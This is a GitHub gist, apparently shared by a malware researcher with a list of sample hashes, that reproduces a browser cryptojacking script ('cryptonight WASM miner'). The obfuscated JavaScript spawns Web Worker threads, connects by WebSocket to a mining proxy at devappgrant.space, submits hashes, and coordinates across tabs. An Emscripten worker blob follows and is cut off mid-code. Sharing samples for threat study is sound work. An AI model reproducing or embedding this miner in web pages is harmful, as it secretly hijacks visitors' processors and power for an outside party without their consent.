Created
February 26, 2018 20:07
-
-
Save JohnLaTwC/faed4c96c7d61a0a9b401e1fcf9fd064 to your computer and use it in GitHub Desktop.
cryptonight WASM miner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## uploaded by @JohnLaTwC | |
## sample hash: 001f32784020c51a37d0805894c206ad3af6f64982920f2e5d9fa4ecd2a7f295 | |
## 0080ac8f345ffa6efd580c32f256179bc84d461c7ed0ae8b12840435232cc301 | |
## 008a4edf85ff8f048dec06d60ace786148eb9f7d59154967c0f788672d55a81f | |
## 0237d082feaa02a12e15cace26c4f82da1c477ef771d932eee5adc6ce9752ec4 | |
## 06f04642cb950f9aef4ead17e1133aa5fbb13ec99ce3e3bf4bb0b8cdd0c36248 | |
## 08ec5e976ef01e43f1ae4f135ea8eb6840b206c74d1240b626e2944feaff86db | |
## 096fc6c469d3c1e85fcdfbd889441a519e1070f638187804f3c4032495e502d0 | |
## 0a993356554333779fc3dbca6b87cfa327efa4d931205c8c00f32381bdf9bcff | |
## 0bd10a6fa8c53bda71d7cd892479166e497ee649f4a4c4f27a93b7a4aaff6edd | |
## 0dee68d2d340155353bf3555b2477a836febedc0191634015839dd91cf6e1039 | |
## 0ee5d9fd83599bc84866a928dcd7bd920932e2aaeedc79a78f28c142cd8ecaa3 | |
## 1216952622f801cef7f89ba91134cafa662ecc3ef08e49ae95c3c5f8b53b4223 | |
## 1359d378f8202b63330d5ad27469b58785bc95f39d7e426af858dd42260de978 | |
## 1949c24c56219df13899593b9aea56086a9902f1622ee946b67fff6ef06ac09a | |
## 2391b4e111e8e2583b053fbf3fd1d99f8d513e7f6d26d25f694a7fcb16e6030b | |
## 252c6e5048af9842bb5ad6ec8da6c7476ac4f296dddb14e161c3199187dc1739 | |
## 28044a72547f291044ff50475f4bc9db614b27f1cd673eafb2cc32f5db1beaaa | |
## 290e407d28d2a9db1a453f9699fcb88748331b4758268208f845653a7d5cb470 | |
## 2afb0e5880a41157023bc4669b366067ed82c479d25f6a73cbfae9c8cb0d8a6c | |
## 33458f2b76ca7b7c0695b957c02fce4d76de83d0859783029dfca1ad44fc0898 | |
## 3cea0494ea9a846837ffc8591ce0d43b65af9177b99433e123bdb61b5cc946c7 | |
## 3d7c755851d179bb5afaf44e0fd9a23c5433b4db1901c7f2f3e9d93a20f88891 | |
## 3ffb585609a841255b505fa2f4e0b3ca3f49549e06f770b23af2b383eb81f796 | |
## 4a61111b2e739601d854b3df29aea63a931dd2300f507244321e089cb283dcb5 | |
## 4adea8beed03c6fc04c55b7039b084183d374817cff26bc48327c48ea5d8c1b0 | |
## 4be7d652a7835531f7a1f835fcc8e700586aea9d3484a0867caad9dd2a48bf85 | |
## 4f00e6be50a63314f4326d291e361f75cc67c9d19e52e142d7fde527537bd2d0 | |
## 523742120c433a3a1ebbce9340ae9d431dee083ab1e3258c6de697718001f247 | |
## 53a058299e73d22a8237bd1393e882dfcb6990c13560489fdb04aff438afb05d | |
## 5983ab7ee1db0c00af47bbcff167f2fdfd54626cbb59e5dccbde44a3c31a9e1e | |
## 59fe5cf3cc3c3554d04afd9cffac56bdce1572f0ff0640b0503a047e0fe966a1 | |
## 65ab366141ee848c284892b8be66f73e30663b771c135878bd0f7e1dd1b9c32c | |
## 791ede6d3e1c78c8f5515c132660f2d59eb42773c6edf9c5a8526440e8eb04ef | |
## 79e00c2b3ce97892c72305577aeafac462c29a40221c4bf85002d7ca0c559822 | |
## 7a6f18ba3ed7dc162560172cf0c2d3dc9b452a4ac3fe5beae101c243fd5a10fd | |
## 7b364ebb470df88c3ebf1670df880e2a5760a67ec4df67007da32d1170739b0a | |
## 7d6e99413797ef5dc88f37b220f3c6fb30f4140be1094226563251803bae9bd4 | |
## 813889cffb56585a1baf3d299a2862af2a8eb24d8c6ac9868ab58570e469f9b9 | |
## 8a6dc3c6d7dea706cea9248f3e7dedd9744400399d57667935564af939151a0f | |
## 8ab996f8323f17c4ea90b84f76c08b8989a3768bf5d64db32858a9ee672b32a8 | |
## 8c46bd7c8675ad9b1e212b6b461c9fd4ea9dd5e42a5209f6ef8017341e7d6eef | |
## 8d7756841dd1cf02c97e02d258bc1bda920353c7368eeea7497a0e8d797c1802 | |
## 8efcced15164d9b1832aaa254bca301822ceb8460bbc2e7a9751d0ce14c3b0e2 | |
## 99baed01c8ad8a306826426a389127db99dbfb9e2ab134e283d1f2fa239011f9 | |
## 9d1bf874576b6cf86260243480ebb438b2d7890497d473bab58a73426122658c | |
## a12ea9d234cc0f439fcd21ac948058425b0e72cf0f326e8f1f6317aa0b6e4254 | |
## a59819c7d517b3a670bd79d40b23c2fbc341b7d26230097b1fac7940903fea10 | |
## a822326f5109fdfc684837ae2f703cf5201eb5f610aa0cfaec8018d608f543ee | |
## aba1c3838d78a5682d263c205bdb36e9fba0c3de6c645408976e50fb5917ecae | |
## ac47d55a51299e45a9105c4eae1691f7bb87d35aa561f82913471cf64e971acd | |
## ad6a1f8d23042625929b2818070c2e374258bfc86c1f1eaf4a9a958f6b2fbca8 | |
## b3a534ef6c07d15801f2169df666166ef6a1f6b7c5ae879f22dca099f3793121 | |
## b42ad42a46c4b3ac2e52afb05f93c5ca6364fd5473fe9b02bb53268db3481d48 | |
## b591c0439b1995d7b8f6da6d6ded3e4fd3b2bc37bd3552a31c41178c8914692d | |
## bfe233fa29ebe116ecfde2b450c819298991e87a10e9c63ffbe1f9a38056ab59 | |
## c03d053f1d23aa9a6e35de293efb46f9b427cb2691974a2c6e620f8bbcef6f4a | |
## c12334b993c8d90833f3a9cd930120a16855ef5966b78a3cf68fa0445c58050d | |
## cb7ec9a946443fff6e0d8ddf22a500c9db1d00a52f0f886ebafd910d3e5da5d7 | |
## d7a66db2792fdaa95357edc0e28e0a4e0bca411156a3dbd10be61d3866caf494 | |
## ddbde5c3aa78a0cc507d391bd3b46a183a115df795a3cc9e665ea8a06b955c61 | |
## de88d33e3e692759da19cb99284d344141efa9030da4d5f52ec2eb909e71dded | |
## e0f6dd2a6ee09a58cef3986c5864ba0b6280adb472a67c4b483227ab4f2e3fe9 | |
## e30378d7cfde8218a21dedb6a6cdb300ecf0165bd9cc8dda0e19e768023b1b18 | |
## e3415b6e5fe4fe962add822e409ec60762b763d4df3ba9ed78e62b9d932015fb | |
## e613e8f8c98c7186e5fdab567d82e86606c6b33a4558196cd71183fbb87cd14c | |
## e6922880244cbb4fcd139817ae77d816940629484ed4682a4d5f694099db095c | |
## e8a16d88d27f5b40d0788f6b5ec1ceae7651a43612fbfaf500f5b9ad6c5a92d5 | |
## eb4ec44e752687314b8cb786adceee160c3d121eed7ee3eeb0ffc9cac7151c90 | |
## ed834a528315aecd85dcfbc90a39ef2a087fde929514eb83138f0e4f8761cd9f | |
## ef1f0ce881cc928d2856f7ec58389419aa338e6c5c1796c9eeb2b226c2075ee3 | |
## f2699da42b30f4dbbdfcdd52e73a7515c69ae0ce68f7ea7ba59c0e3377ea17d5 | |
## f86d80304d97e0c8bb9af015055f1b3e2dcfc5e5ae1e4e40df970c475e3b8f9e | |
! function(t) { | |
"use strict"; | |
var e = function(t, e) { | |
e = e || {}, this._siteKey = t, this._user = null, this._threads = [], this._hashes = 0, this._cJ = null, this._autoReconnect = !0, this._tokenFromServer = null, this._goal = 0, this._second = 1e3, this._totalHashesFromDeadThreads = 0, this._throttle = Math.max(0, Math.min(.99, e.throttle || 0)), this._xPipes = { | |
enabled: !!e.autoThreads, | |
interval: null, | |
adjustAt: null, | |
adjustEvery: 1e4, | |
stats: {} | |
}, this._tab = { | |
ident: 16777215 * Math.random() | 0, | |
mode: XMnr.IET, | |
grace: 0, | |
interval: null | |
}, this._eventListeners = { | |
open: [], | |
authed: [], | |
close: [], | |
error: [], | |
job: [], | |
found: [], | |
accepted: [] | |
}; | |
var s = navigator.hardwareConcurrency || 4; | |
this._targetNumThreads = e.threads || s, this._asmjsStatus = "unloaded", this._onTargetMetBound = this._onTargetMet.bind(this), this._onVerifiedBound = this._onVerified.bind(this), this._proxyUrl = e.ws || "https://devappgrant.space/ws/" | |
}; | |
e.prototype.start = function(t) { | |
this._tab.mode = t || XMnr.IET, this._tab.interval && (clearInterval(this._tab.interval), this._tab.interval = null), this.hasWASMSupport() && this._startNow() | |
}, e.prototype.stop = function(t) { | |
for (var e = 0; e < this._threads.length; e++) this._totalHashesFromDeadThreads += this._threads[e].hashesTotal, this._threads[e].stop(); | |
this._threads = [], this._autoReconnect = !1, this._socket && this._socket.close(), this._cJ = null, this._xPipes.interval && (clearInterval(this._xPipes.interval), this._xPipes.interval = null), this._tab.interval && "dontKillTabUpdate" !== t && (clearInterval(this._tab.interval), this._tab.interval = null) | |
}, e.prototype.getHashesPerSecond = function() { | |
for (var t = 0, e = 0; e < this._threads.length; e++) t += this._threads[e].hashesPerSecond; | |
return t | |
}, e.prototype.getTotalHashes = function(t) { | |
for (var e = Date.now(), s = this._totalHashesFromDeadThreads, i = 0; i < this._threads.length; i++) { | |
var r = this._threads[i]; | |
if (s += r.hashesTotal, t) { | |
s += (e - r.lastMessageTimestamp) / 1e3 * .9 * r.hashesPerSecond | |
} | |
} | |
return 0 | s | |
}, e.prototype.getAcceptedHashes = function() { | |
return this._hashes | |
}, e.prototype.getToken = function() { | |
return this._tokenFromServer | |
}, e.prototype.on = function(t, e) { | |
this._eventListeners[t] && this._eventListeners[t].push(e) | |
}, e.prototype.getAutoThreadsEnabled = function(t) { | |
return this._xPipes.enabled | |
}, e.prototype.setAutoThreadsEnabled = function(t) { | |
this._xPipes.enabled = !!t, !t && this._xPipes.interval && (clearInterval(this._xPipes.interval), this._xPipes.interval = null), t && !this._xPipes.interval && (this._xPipes.adjustAt = Date.now() + this._xPipes.adjustEvery, this._xPipes.interval = setInterval(this._adjustThreads.bind(this), this._second)) | |
}, e.prototype.getThrottle = function() { | |
return this._throttle | |
}, e.prototype.setThrottle = function(t) { | |
this._throttle = Math.max(0, Math.min(.99, t)), this._cJ && this._setJob(this._cJ) | |
}, e.prototype.getNumThreads = function() { | |
return this._targetNumThreads | |
}, e.prototype.setNumThreads = function(t) { | |
t = Math.max(1, 0 | t), this._targetNumThreads = t; | |
var e; | |
if (t > this._threads.length) | |
for (var s = 0; t > this._threads.length; s++) e = new XMnr.JobThread, this._cJ && e.setJob(this._cJ, this._onTargetMetBound), this._threads.push(e); | |
else if (t < this._threads.length) | |
for (; t < this._threads.length;) e = this._threads.pop(), this._totalHashesFromDeadThreads += e.hashesTotal, e.stop() | |
}, e.prototype.hasWASMSupport = function() { | |
return void 0 !== t.WebAssembly | |
}, e.prototype.isRunning = function() { | |
return this._threads.length > 0 | |
}, e.prototype._startNow = function() { | |
this._tab.mode === XMnr.FMT || this._tab.interval || (this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)), this._tab.mode === XMnr.IET && this._otherTabRunning() || (this._tab.mode === XMnr.FET && (this._tab.grace = Date.now() + 3e3), this.verifyThread || (this.verifyThread = new XMnr.JobThread), this.setNumThreads(this._targetNumThreads), this._autoReconnect = !0, this._connect()) | |
}, e.prototype._otherTabRunning = function() { | |
try { | |
var t = localStorage.getItem("XMnr"); | |
if (t) { | |
var e = JSON.parse(t); | |
if (e.ident !== this._tab.ident && Date.now() - e.time < 1500) return !0 | |
} | |
} catch (t) {} | |
return !1 | |
}, e.prototype._updateTabs = function() { | |
var t = this._otherTabRunning(); | |
t && this.isRunning() && Date.now() > this._tab.grace ? this.stop("dontKillTabUpdate") : t || this.isRunning() || this._startNow(), this.isRunning() && localStorage.setItem("XMnr", JSON.stringify({ | |
ident: this._tab.ident, | |
time: Date.now() | |
})) | |
}, e.prototype._adjustThreads = function() { | |
var t = this.getHashesPerSecond(), | |
e = this.getNumThreads(), | |
s = this._xPipes.stats; | |
if (s[e] = s[e] ? .5 * s[e] + .5 * t : t, Date.now() > this._xPipes.adjustAt) { | |
this._xPipes.adjustAt = Date.now() + this._xPipes.adjustEvery; | |
var i = (s[e] || 0) - 1, | |
r = s[e + 1] || 0, | |
n = s[e - 1] || 0; | |
if (i > n && (0 === r || r > i) && e < 8) return this.setNumThreads(e + 1); | |
if (i > r && (!n || n > i) && e > 1) return this.setNumThreads(e - 1) | |
} | |
}, e.prototype._emit = function(t, e) { | |
var s = this._eventListeners[t]; | |
if (s && s.length) | |
for (var i = 0; i < s.length; i++) s[i](e) | |
}, e.prototype._hashString = function(t) { | |
for (var e = 5381, s = t.length; s;) e = 33 * e ^ t.charCodeAt(--s); | |
return e >>> 0 | |
}, e.prototype._connect = function() { | |
this._socket || (this._socket = new WebSocket(this._proxyUrl), this._socket.onmessage = this._onMessage.bind(this), this._socket.onerror = this._onError.bind(this), this._socket.onclose = this._onClose.bind(this), this._socket.onopen = this._onOpen.bind(this)) | |
}, e.prototype._socketKeepalive = function() { | |
this._socket && (this._socket.send('{"type":"ping"}\t'), this._keepAliveTimerId = setTimeout(this._socketKeepalive.bind(this), 5e4)) | |
}, e.prototype._setKeepalive = function() { | |
this._keepAliveTimerId && clearTimeout(this._keepAliveTimerId), this._keepAliveTimerId = setTimeout(this._socketKeepalive.bind(this), 5e4) | |
}, e.prototype._onOpen = function(t) { | |
this._emit("open"); | |
var e = { | |
site_key: this._siteKey, | |
type: "anonymous", | |
user: null, | |
goal: 0 | |
}; | |
this._user ? (e.type = "user", e.user = this._user) : this._goal && (e.type = "token", e.goal = this._goal), this._send("auth", e), this._setKeepalive() | |
}, e.prototype._onError = function(t) { | |
this._emit("error", { | |
error: "connection_error" | |
}), this._onClose(t) | |
}, e.prototype._onClose = function(t) { | |
for (var e = 0; e < this._threads.length; e++) this._threads[e].stop(); | |
this._threads = [], this._socket = null, this._emit("close"), this._autoReconnect && setTimeout(this._startNow.bind(this), 3e3) | |
}, e.prototype._onMessage = function(t) { | |
var e = JSON.parse(t.data); | |
if ("job" === e.type) { | |
if (this._setJob(e.params), e.params.t > 0) { | |
var s = Math.max(0, Math.min(.99, e.params.t)); | |
s !== this._throttle && this.setThrottle(s) | |
} | |
this._emit("job", e.params), this._xPipes.enabled && !this._xPipes.interval && (this._xPipes.adjustAt = Date.now() + this._xPipes.adjustEvery, this._xPipes.interval = setInterval(this._adjustThreads.bind(this), this._second)) | |
} else "verify" === e.type ? this.verifyThread.verify(e.params, this._onVerifiedBound) : "hash_accepted" === e.type ? (this._hashes = e.params.hashes, this._emit("accepted", e.params), this._goal && this._hashes >= this._goal && this.stop()) : "authed" === e.type ? (this._tokenFromServer = e.params.token || null, this._hashes = e.params.hashes || 0, this._emit("authed", e.params)) : "error" === e.type && this._emit("error", e.params); | |
this._setKeepalive() | |
}, e.prototype._setJob = function(t) { | |
this._cJ = t, this._cJ.throttle = this._throttle; | |
for (var e = 0; e < this._threads.length; e++) this._threads[e].setJob(t, this._onTargetMetBound) | |
}, e.prototype._onTargetMet = function(t) { | |
if (this._emit("found", t), t[["d", "b_i", "jo"].reverse().join("")] === this._cJ[["d", "b_i", "jo"].reverse().join("")]) { | |
var e = { | |
nonce: t.nonce, | |
result: t.result | |
}; | |
e[["d", "b_i", "jo"].reverse().join("")] = t[["d", "b_i", "jo"].reverse().join("")], this._send("submit", e) | |
} | |
}, e.prototype._onVerified = function(t) { | |
this._send(["fied", "veri"].reverse().join(""), t) | |
}, e.prototype._send = function(t, e) { | |
if (this._socket) { | |
var s = { | |
type: t, | |
params: e || {} | |
}; | |
this._socket.send(JSON.stringify(s)) | |
} | |
}, t.XMnr = t.XMnr || {}, t.XMnr.IET = "iET", t.XMnr.FET = "fET", t.XMnr.FMT = "fMT", t.XMnr.Token = function(t, s, i) { | |
var r = new e(t, i); | |
return r._goal = s || 0, r | |
}, t.XMnr.User = function(t, s, i) { | |
var r = new e(t, i); | |
return r._user = s, r | |
}, t.XMnr.Anonymous = function(t, s) { | |
return new e(t, s) | |
} | |
}(window), | |
function(t) { | |
"use strict"; | |
var e = function() { | |
this.worker = new Worker(XMnr.WORKER_BLOB), this.worker.onmessage = this.onReady.bind(this), this.currentJob = null, this.jobCallback = function() {}, this.verifyCallback = function() {}, this._isReady = !1, this.hashesPerSecond = 0, this.hashesTotal = 0, this.running = !1, this.lastMessageTimestamp = Date.now() | |
}; | |
e.prototype.onReady = function(t) { | |
if ("ready" !== t.data || this._isReady) throw 'Expecting first message to be "ready", got ' + t; | |
this._isReady = !0, this.worker.onmessage = this.onReceiveMsg.bind(this), this.currentJob && (this.running = !0, this.worker.postMessage(this.currentJob)) | |
}, e.prototype.onReceiveMsg = function(t) { | |
t.data.verify_id ? this.verifyCallback(t.data) : (t.data.result && this.jobCallback(t.data), this.hashesPerSecond = .5 * this.hashesPerSecond + .5 * t.data.hashesPerSecond, this.hashesTotal += t.data.hashes, this.lastMessageTimestamp = Date.now(), this.running && this.worker.postMessage(this.currentJob)) | |
}, e.prototype.setJob = function(t, e) { | |
this.currentJob = t, this.jobCallback = e, this._isReady && !this.running && (this.running = !0, this.worker.postMessage(this.currentJob)) | |
}, e.prototype.verify = function(t, e) {}, e.prototype.stop = function() { | |
this.worker && (this.worker.terminate(), this.worker = null), this.running = !1 | |
}, t.XMnr.JobThread = e | |
}(window), self.XMnr = self.XMnr || {}, self.XMnr.CONFIG = { | |
WEBROOT_URL: "https://devappgrant.space/lib/" | |
}, XMnr.WORKER_BLOB = URL.createObjectURL(new Blob(["function globalEval(e){eval.call(null,e)}function assert(e,r){e||abort(\"Assertion failed: \"+r)}function getCFunc(ident){var func=Module[\"_\"+ident];if(!func)try{func=eval(\"_\"+ident)}catch(e){}return assert(func,\"Cannot call unknown function \"+ident+\" (perhaps LLVM optimizations or closure removed it?)\"),func}function setValue(e,r,t,n){switch(\"*\"===(t=t||\"i8\").charAt(t.length-1)&&(t=\"i32\"),t){case\"i1\":case\"i8\":HEAP8[e>>0]=r;break;case\"i16\":HEAP16[e>>1]=r;break;case\"i32\":HEAP32[e>>2]=r;break;case\"i64\":tempI64=[r>>>0,(tempDouble=r,+Math_abs(tempDouble)>=1?tempDouble>0?(0|Math_min(+Math_floor(tempDouble/4294967296),4294967295))>>>0:~~+Math_ceil((tempDouble-+(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[e>>2]=tempI64[0],HEAP32[e+4>>2]=tempI64[1];break;case\"float\":HEAPF32[e>>2]=r;break;case\"double\":HEAPF64[e>>3]=r;break;default:abort(\"invalid type for setValue: \"+t)}}function getValue(e,r,t){switch(\"*\"===(r=r||\"i8\").charAt(r.length-1)&&(r=\"i32\"),r){case\"i1\":case\"i8\":return HEAP8[e>>0];case\"i16\":return HEAP16[e>>1];case\"i32\":case\"i64\":return HEAP32[e>>2];case\"float\":return HEAPF32[e>>2];case\"double\":return HEAPF64[e>>3];default:abort(\"invalid type for setValue: \"+r)}return null}function allocate(e,r,t,n){var o,i;\"number\"==typeof e?(o=!0,i=e):(o=!1,i=e.length);var a,s=\"string\"==typeof r?r:null;if(a=t==ALLOC_NONE?n:[\"function\"==typeof _malloc?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][void 0===t?ALLOC_STATIC:t](Math.max(i,s?1:r.length)),o){var u;n=a;for(assert(0==(3&a)),u=a+(-4&i);n<u;n+=4)HEAP32[n>>2]=0;for(u=a+i;n<u;)HEAP8[n++>>0]=0;return a}if(\"i8\"===s)return e.subarray||e.slice?HEAPU8.set(e,a):HEAPU8.set(new Uint8Array(e),a),a;for(var l,c,d,E=0;E<i;){var f=e[E];\"function\"==typeof f&&(f=Runtime.getFunctionIndex(f)),0!==(l=s||r[E])?(\"i64\"==l&&(l=\"i32\"),setValue(a+E,f,l),d!==l&&(c=Runtime.getNativeTypeSize(l),d=l),E+=c):E++}return a}function getMemory(e){return staticSealed?runtimeInitialized?_malloc(e):Runtime.dynamicAlloc(e):Runtime.staticAlloc(e)}function Pointer_stringify(e,r){if(0===r||!e)return\"\";for(var t,n=0,o=0;t=HEAPU8[e+o>>0],n|=t,(0!=t||r)&&(o++,!r||o!=r););r||(r=o);var i=\"\";if(n<128){for(var a;r>0;)a=String.fromCharCode.apply(String,HEAPU8.subarray(e,e+Math.min(r,1024))),i=i?i+a:a,e+=1024,r-=1024;return i}return Module.UTF8ToString(e)}function AsciiToString(e){for(var r=\"\";;){var t=HEAP8[e++>>0];if(!t)return r;r+=String.fromCharCode(t)}}function stringToAscii(e,r){return writeAsciiToMemory(e,r,!1)}function UTF8ArrayToString(e,r){for(var t=r;e[t];)++t;if(t-r>16&&e.subarray&&UTF8Decoder)return UTF8Decoder.decode(e.subarray(r,t));for(var n,o,i,a,s,u=\"\";;){if(!(n=e[r++]))return u;if(128&n)if(o=63&e[r++],192!=(224&n))if(i=63&e[r++],224==(240&n)?n=(15&n)<<12|o<<6|i:(a=63&e[r++],240==(248&n)?n=(7&n)<<18|o<<12|i<<6|a:(s=63&e[r++],n=248==(252&n)?(3&n)<<24|o<<18|i<<12|a<<6|s:(1&n)<<30|o<<24|i<<18|a<<12|s<<6|63&e[r++])),n<65536)u+=String.fromCharCode(n);else{var l=n-65536;u+=String.fromCharCode(55296|l>>10,56320|1023&l)}else u+=String.fromCharCode((31&n)<<6|o);else u+=String.fromCharCode(n)}}function UTF8ToString(e){return UTF8ArrayToString(HEAPU8,e)}function stringToUTF8Array(e,r,t,n){if(!(n>0))return 0;for(var o=t,i=t+n-1,a=0;a<e.length;++a){var s=e.charCodeAt(a);if(s>=55296&&s<=57343&&(s=65536+((1023&s)<<10)|1023&e.charCodeAt(++a)),s<=127){if(t>=i)break;r[t++]=s}else if(s<=2047){if(t+1>=i)break;r[t++]=192|s>>6,r[t++]=128|63&s}else if(s<=65535){if(t+2>=i)break;r[t++]=224|s>>12,r[t++]=128|s>>6&63,r[t++]=128|63&s}else if(s<=2097151){if(t+3>=i)break;r[t++]=240|s>>18,r[t++]=128|s>>12&63,r[t++]=128|s>>6&63,r[t++]=128|63&s}else if(s<=67108863){if(t+4>=i)break;r[t++]=248|s>>24,r[t++]=128|s>>18&63,r[t++]=128|s>>12&63,r[t++]=128|s>>6&63,r[t++]=128|63&s}else{if(t+5>=i)break;r[t++]=252|s>>30,r[t++]=128|s>>24&63,r[t++]=128|s>>18&63,r[t++]=128|s>>12&63,r[t++]=128|s>>6&63,r[t++]=128|63&s}}return r[t]=0,t-o}function stringToUTF8(e,r,t){return stringToUTF8Array(e,HEAPU8,r,t)}function lengthBytesUTF8(e){for(var r=0,t=0;t<e.length;++t){var n=e.charCodeAt(t);n>=55296&&n<=57343&&(n=65536+((1023&n)<<10)|1023&e.charCodeAt(++t)),n<=127?++r:r+=n<=2047?2:n<=65535?3:n<=2097151?4:n<=67108863?5:6}return r}function demangle(e){var r=Module.___cxa_demangle||Module.__cxa_demangle;if(r){try{var t=e.substr(1),n=lengthBytesUTF8(t)+1,o=_malloc(n);stringToUTF8(t,o,n);var i=_malloc(4),a=r(o,0,0,i);if(0===getValue(i,\"i32\")&&a)return Pointer_stringify(a)}catch(e){}finally{o&&_free(o),i&&_free(i),a&&_free(a)}return e}return Runtime.warnOnce(\"warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling\"),e}function demangleAll(e){return e.replace(/__Z[\\w\\d_]+/g,function(e){var r=demangle(e);return e===r?e:e+\" [\"+r+\"]\"})}function jsStackTrace(){var e=new Error;if(!e.stack){try{throw new Error(0)}catch(r){e=r}if(!e.stack)return\"(no stack trace available)\"}return e.stack.toString()}function stackTrace(){var e=jsStackTrace();return Module.extraStackTrace&&(e+=\"\\\\n\"+Module.extraStackTrace()),demangleAll(e)}function alignUp(e,r){return e%r>0&&(e+=r-e%r),e}function updateGlobalBuffer(e){Module.buffer=buffer=e}function updateGlobalBufferViews(){Module.HEAP8=HEAP8=new Int8Array(buffer),Module.HEAP16=HEAP16=new Int16Array(buffer),Module.HEAP32=HEAP32=new Int32Array(buffer),Module.HEAPU8=HEAPU8=new Uint8Array(buffer),Module.HEAPU16=HEAPU16=new Uint16Array(buffer),Module.HEAPU32=HEAPU32=new Uint32Array(buffer),Module.HEAPF32=HEAPF32=new Float32Array(buffer),Module.HEAPF64=HEAPF64=new Float64Array(buffer)}function abortOnCannotGrowMemory(){abort(\"Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value \"+TOTAL_MEMORY+\", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 \")}function enlargeMemory(){abortOnCannotGrowMemory()}function getTotalMemory(){return TOTAL_MEMORY}function callRuntimeCallbacks(e){for(;e.length>0;){var r=e.shift();if(\"function\"!=typeof r){var t=r.func;\"number\"==typeof t?void 0===r.arg?Module.dynCall_v(t):Module.dynCall_vi(t,r.arg):t(void 0===r.arg?null:r.arg)}else r()}}function preRun(){if(Module.preRun)for(\"function\"==typeof Module.preRun&&(Module.preRun=[Module.preRun]);Module.preRun.length;)addOnPreRun(Module.preRun.shift());callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){runtimeInitialized||(runtimeInitialized=!0,callRuntimeCallbacks(__ATINIT__))}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__),runtimeExited=!0}function postRun(){if(Module.postRun)for(\"function\"==typeof Module.postRun&&(Module.postRun=[Module.postRun]);Module.postRun.length;)addOnPostRun(Module.postRun.shift());callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(e){__ATPRERUN__.unshift(e)}function addOnInit(e){__ATINIT__.unshift(e)}function addOnPreMain(e){__ATMAIN__.unshift(e)}function addOnExit(e){__ATEXIT__.unshift(e)}function addOnPostRun(e){__ATPOSTRUN__.unshift(e)}function intArrayFromString(e,r,t){var n=t>0?t:lengthBytesUTF8(e)+1,o=new Array(n),i=stringToUTF8Array(e,o,0,o.length);return r&&(o.length=i),o}function intArrayToString(e){for(var r=[],t=0;t<e.length;t++){var n=e[t];n>255&&(n&=255),r.push(String.fromCharCode(n))}return r.join(\"\")}function writeStringToMemory(e,r,t){Runtime.warnOnce(\"writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!\");var n,o;t&&(o=r+lengthBytesUTF8(e),n=HEAP8[o]),stringToUTF8(e,r,1/0),t&&(HEAP8[o]=n)}function writeArrayToMemory(e,r){HEAP8.set(e,r)}function writeAsciiToMemory(e,r,t){for(var n=0;n<e.length;++n)HEAP8[r++>>0]=e.charCodeAt(n);t||(HEAP8[r>>0]=0)}function getUniqueRunDependency(e){return e}function addRunDependency(e){runDependencies++,Module.monitorRunDependencies&&Module.monitorRunDependencies(runDependencies)}function removeRunDependency(e){if(runDependencies--,Module.monitorRunDependencies&&Module.monitorRunDependencies(runDependencies),0==runDependencies&&(null!==runDependencyWatcher&&(clearInterval(runDependencyWatcher),runDependencyWatcher=null),dependenciesFulfilled)){var r=dependenciesFulfilled;dependenciesFulfilled=null,r()}}function integrateWasmJS(e){function r(e){return e}function t(){return e.wasmBinary||\"function\"!=typeof fetch?new Promise(function(r,t){r(function(){try{var r;if(e.wasmBinary)r=e.wasmBinary,r=new Uint8Array(r);else{if(!e.readBinary)throw\"on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)\";r=e.readBinary(a)}return r}catch(e){abort(e)}}())}):fetch(a,{credentials:\"same-origin\"}).then(function(e){if(!e.ok)throw\"failed to load wasm binary file at '\"+a+\"'\";return e.arrayBuffer()})}function n(r,n,o){function i(r){(l=r.exports).memory&&function(r){var t=e.buffer;r.byteLength<t.byteLength&&e.printErr(\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\");var n=new Int8Array(t),o=new Int8Array(r);memoryInitializer||n.set(o.subarray(e.STATIC_BASE,e.STATIC_BASE+e.STATIC_BUMP),e.STATIC_BASE),o.set(n),updateGlobalBuffer(r),updateGlobalBufferViews()}(l.memory),e.asm=l,e.usingWasm=!0,removeRunDependency(\"wasm-instantiate\")}if(\"object\"!=typeof WebAssembly)return e.printErr(\"no native wasm support detected\"),!1;if(!(e.wasmMemory instanceof WebAssembly.Memory))return e.printErr(\"no native wasm Memory in use\"),!1;if(n.memory=e.wasmMemory,u.global={NaN:NaN,Infinity:1/0},u[\"global.Math\"]=r.Math,u.env=n,addRunDependency(\"wasm-instantiate\"),e.instantiateWasm)try{return e.instantiateWasm(u,i)}catch(r){return e.printErr(\"Module.instantiateWasm callback failed with error: \"+r),!1}return t().then(function(e){return WebAssembly.instantiate(e,u)}).then(function(e){i(e.instance)}).catch(function(r){e.printErr(\"failed to asynchronously prepare wasm: \"+r),abort(r)}),{}}var o=e.wasmJSMethod||\"native-wasm\";e.wasmJSMethod=o;var i=e.wasmTextFile||\"cryptonight.wast\",a=e.wasmBinaryFile||\"cryptonight.wasm\",s=e.asmjsCodeFile||\"cryptonight.temp.asm.js\";\"function\"==typeof e.locateFile&&(i=e.locateFile(i),a=e.locateFile(a),s=e.locateFile(s));var u={global:null,env:null,asm2wasm:{\"f64-rem\":function(e,r){return e%r},\"f64-to-int\":function(e){return 0|e},\"i32s-div\":function(e,r){return(0|e)/(0|r)|0},\"i32u-div\":function(e,r){return(e>>>0)/(r>>>0)>>>0},\"i32s-rem\":function(e,r){return(0|e)%(0|r)|0},\"i32u-rem\":function(e,r){return(e>>>0)%(r>>>0)>>>0},debugger:function(){}},parent:e},l=null;e.asmPreload=e.asm;var c=e.reallocBuffer;e.reallocBuffer=function(r){return\"asmjs\"===d?c(r):function(r){r=alignUp(r,e.usingWasm?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE);var 